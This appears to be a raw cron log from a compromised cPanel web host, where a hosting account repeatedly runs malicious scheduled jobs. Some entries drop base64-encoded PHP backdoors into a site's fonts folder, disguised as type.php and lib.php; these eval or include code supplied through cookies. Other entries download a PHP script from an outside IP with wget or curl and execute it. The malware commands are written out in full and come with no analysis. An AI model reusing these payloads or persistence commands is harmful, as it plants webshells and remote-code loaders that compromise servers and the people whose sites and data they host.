Feb 22 19:32:01 ip-184-168-122-23 CROND[28103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:33:01 ip-184-168-122-23 CROND[28528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:33:01 ip-184-168-122-23 CROND[28529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:33:01 ip-184-168-122-23 CROND[28530]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:33:01 ip-184-168-122-23 CROND[28531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:34:01 ip-184-168-122-23 CROND[28865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:34:01 ip-184-168-122-23 CROND[28867]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 19:34:01 ip-184-168-122-23 CROND[28866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:34:01 ip-184-168-122-23 CROND[28868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:34:01 ip-184-168-122-23 CROND[28869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:35:02 ip-184-168-122-23 CROND[29217]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 19:35:02 ip-184-168-122-23 CROND[29219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:35:02 ip-184-168-122-23 CROND[29223]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Feb 22 19:35:02 ip-184-168-122-23 CROND[29224]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 19:35:02 ip-184-168-122-23 CROND[29227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:35:02 ip-184-168-122-23 CROND[29226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:35:02 ip-184-168-122-23 CROND[29228]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 19:35:02 ip-184-168-122-23 CROND[29232]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:36:01 ip-184-168-122-23 CROND[29604]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:36:01 ip-184-168-122-23 CROND[29607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:36:02 ip-184-168-122-23 CROND[29608]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 19:36:02 ip-184-168-122-23 CROND[29609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:36:02 ip-184-168-122-23 CROND[29611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:37:01 ip-184-168-122-23 CROND[29943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:37:01 ip-184-168-122-23 CROND[29946]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:37:01 ip-184-168-122-23 CROND[29947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:37:01 ip-184-168-122-23 CROND[29951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:38:01 ip-184-168-122-23 CROND[30359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:38:01 ip-184-168-122-23 CROND[30361]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 19:38:01 ip-184-168-122-23 CROND[30363]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:38:01 ip-184-168-122-23 CROND[30362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:38:01 ip-184-168-122-23 CROND[30364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:39:01 ip-184-168-122-23 CROND[30688]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:39:01 ip-184-168-122-23 CROND[30689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:39:01 ip-184-168-122-23 CROND[30690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:39:01 ip-184-168-122-23 CROND[30693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:39:01 ip-184-168-122-23 CROND[30694]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 19:40:01 ip-184-168-122-23 CROND[31021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:40:01 ip-184-168-122-23 CROND[31027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:40:01 ip-184-168-122-23 CROND[31029]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:40:01 ip-184-168-122-23 CROND[31024]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 19:40:01 ip-184-168-122-23 CROND[31026]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 19:40:01 ip-184-168-122-23 CROND[31025]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 19:40:01 ip-184-168-122-23 CROND[31028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:40:01 ip-184-168-122-23 CROND[31023]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 19:41:01 ip-184-168-122-23 CROND[31367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:41:01 ip-184-168-122-23 CROND[31366]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:41:01 ip-184-168-122-23 CROND[31368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:41:01 ip-184-168-122-23 CROND[31371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:42:01 ip-184-168-122-23 CROND[31709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:42:01 ip-184-168-122-23 CROND[31711]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 19:42:01 ip-184-168-122-23 CROND[31715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:42:01 ip-184-168-122-23 CROND[31713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:42:01 ip-184-168-122-23 CROND[31716]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:43:01 ip-184-168-122-23 CROND[32031]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:43:01 ip-184-168-122-23 CROND[32034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:43:01 ip-184-168-122-23 CROND[32032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:43:01 ip-184-168-122-23 CROND[32033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:44:01 ip-184-168-122-23 CROND[32429]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 19:44:01 ip-184-168-122-23 CROND[32431]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:44:01 ip-184-168-122-23 CROND[32433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:44:01 ip-184-168-122-23 CROND[32434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:44:01 ip-184-168-122-23 CROND[32432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
